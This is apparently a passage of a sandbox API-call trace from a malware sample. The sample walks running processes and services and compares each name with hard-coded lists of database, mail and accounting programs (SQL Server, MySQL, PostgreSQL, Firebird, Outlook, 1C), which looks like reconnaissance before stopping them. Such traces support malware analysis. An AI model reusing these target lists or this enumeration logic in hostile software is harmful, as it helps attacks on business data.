	[0263.489] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0263.489] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0263.489] lstrlenW (lpString="audiodg.exe") returned 11
	[0263.490] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0263.490] lstrlenW (lpString="svchost.exe") returned 11
	[0263.490] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0263.490] lstrlenW (lpString="userinit.exe") returned 12
	[0263.490] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0263.490] lstrlenW (lpString="explorer.exe") returned 12
	[0263.490] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0263.491] lstrlenW (lpString="dwm.exe") returned 7
	[0263.491] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0263.491] lstrlenW (lpString="svchost.exe") returned 11
	[0263.491] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0263.491] lstrlenW (lpString="swpesp.exe") returned 10
	[0263.491] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0263.491] lstrlenW (lpString="spoolsv.exe") returned 11
	[0263.492] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0263.492] lstrlenW (lpString="taskhost.exe") returned 12
	[0263.492] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0263.492] lstrlenW (lpString="svchost.exe") returned 11
	[0263.492] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0263.492] lstrlenW (lpString="reader_sl.exe") returned 13
	[0263.492] Process32NextW (in: hSnapshot=0x28c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0263.493] CloseHandle (hObject=0x28c) returned 1
	[0263.493] Sleep (dwMilliseconds=0x1f4) 
	[0264.221] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c5b38
	[0264.329] EnumServicesStatusExW (in: hSCManager=0x41c5b38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0264.329] GetLastError () returned 0xea
	[0264.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc9a) returned 0x41f5d68
	[0264.329] EnumServicesStatusExW (in: hSCManager=0x41c5b38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xc9a, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0264.330] CloseServiceHandle (hSCObject=0x41c5b38) returned 1
	[0264.330] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0264.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0264.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0264.330] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0264.330] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0264.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0264.330] lstrlenW (lpString="AudioSrv") returned 8
	[0264.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0264.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0264.330] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0264.330] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0264.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0264.330] lstrlenW (lpString="BFE") returned 3
	[0264.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0264.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0264.330] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0264.330] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0264.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0264.330] lstrlenW (lpString="CryptSvc") returned 8
	[0264.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0264.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0264.331] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0264.331] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0264.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0264.331] lstrlenW (lpString="CscService") returned 10
	[0264.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0264.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0264.331] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0264.331] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0264.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0264.331] lstrlenW (lpString="DcomLaunch") returned 10
	[0264.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0264.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0264.331] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0264.331] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0264.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0264.331] lstrlenW (lpString="Dhcp") returned 4
	[0264.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0264.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0264.331] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0264.331] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0264.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0264.331] lstrlenW (lpString="Dnscache") returned 8
	[0264.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0264.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0264.331] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0264.331] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0264.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0264.331] lstrlenW (lpString="DPS") returned 3
	[0264.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0264.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0264.331] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0264.331] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0264.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0264.332] lstrlenW (lpString="eventlog") returned 8
	[0264.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0264.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0264.332] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0264.332] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0264.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0264.332] lstrlenW (lpString="EventSystem") returned 11
	[0264.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0264.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0264.332] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0264.332] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0264.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0264.332] lstrlenW (lpString="gpsvc") returned 5
	[0264.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0264.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0264.332] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0264.332] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0264.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0264.332] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0264.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0264.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0264.332] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0264.332] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0264.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0264.332] lstrlenW (lpString="lmhosts") returned 7
	[0264.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0264.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0264.332] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0264.332] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0264.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0264.332] lstrlenW (lpString="MMCSS") returned 5
	[0264.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0264.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0264.333] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0264.333] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0264.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0264.333] lstrlenW (lpString="MpsSvc") returned 6
	[0264.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0264.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0264.333] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0264.333] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0264.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0264.333] lstrlenW (lpString="NlaSvc") returned 6
	[0264.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0264.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0264.333] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0264.333] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0264.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0264.333] lstrlenW (lpString="nsi") returned 3
	[0264.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0264.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0264.333] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0264.333] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0264.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0264.333] lstrlenW (lpString="PcaSvc") returned 6
	[0264.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0264.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0264.333] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0264.333] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0264.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0264.333] lstrlenW (lpString="PlugPlay") returned 8
	[0264.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0264.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0264.333] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0264.333] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0264.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0264.334] lstrlenW (lpString="Power") returned 5
	[0264.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0264.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0264.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0264.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0264.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0264.334] lstrlenW (lpString="ProfSvc") returned 7
	[0264.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0264.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0264.334] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0264.334] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0264.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0264.334] lstrlenW (lpString="RpcEptMapper") returned 12
	[0264.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0264.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0264.334] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0264.334] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0264.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0264.334] lstrlenW (lpString="RpcSs") returned 5
	[0264.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0264.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0264.334] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0264.334] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0264.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0264.334] lstrlenW (lpString="SamSs") returned 5
	[0264.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0264.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0264.334] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0264.334] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0264.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0264.334] lstrlenW (lpString="Schedule") returned 8
	[0264.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0264.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0264.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0264.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0264.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0264.335] lstrlenW (lpString="SENS") returned 4
	[0264.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0264.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0264.335] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0264.335] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0264.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0264.335] lstrlenW (lpString="ShellHWDetection") returned 16
	[0264.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0264.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0264.335] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0264.335] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0264.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0264.335] lstrlenW (lpString="Spooler") returned 7
	[0264.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0264.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0264.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0264.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0264.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0264.335] lstrlenW (lpString="Themes") returned 6
	[0264.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0264.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0264.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0264.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0264.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0264.335] lstrlenW (lpString="UxSms") returned 5
	[0264.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0264.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0264.335] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0264.335] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0264.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0264.336] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0264.336] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358
	[0264.337] Process32FirstW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0264.337] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0264.337] lstrlenW (lpString="System") returned 6
	[0264.337] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0264.337] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0264.337] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0264.337] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0264.337] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0264.337] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0264.337] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0264.337] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0264.338] lstrlenW (lpString="smss.exe") returned 8
	[0264.338] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0264.338] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0264.338] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0264.338] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0264.338] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0264.338] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0264.338] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0264.338] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0264.338] lstrlenW (lpString="csrss.exe") returned 9
	[0264.338] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0264.338] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0264.338] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0264.338] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0264.338] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0264.338] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0264.338] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0264.338] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0264.339] lstrlenW (lpString="wininit.exe") returned 11
	[0264.339] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0264.339] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0264.339] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0264.339] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0264.339] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0264.339] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0264.339] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0264.339] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0264.339] lstrlenW (lpString="csrss.exe") returned 9
	[0264.339] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0264.339] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0264.339] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0264.339] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0264.339] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0264.339] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0264.339] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0264.339] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0264.340] lstrlenW (lpString="winlogon.exe") returned 12
	[0264.340] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0264.340] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0264.340] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0264.340] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0264.340] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
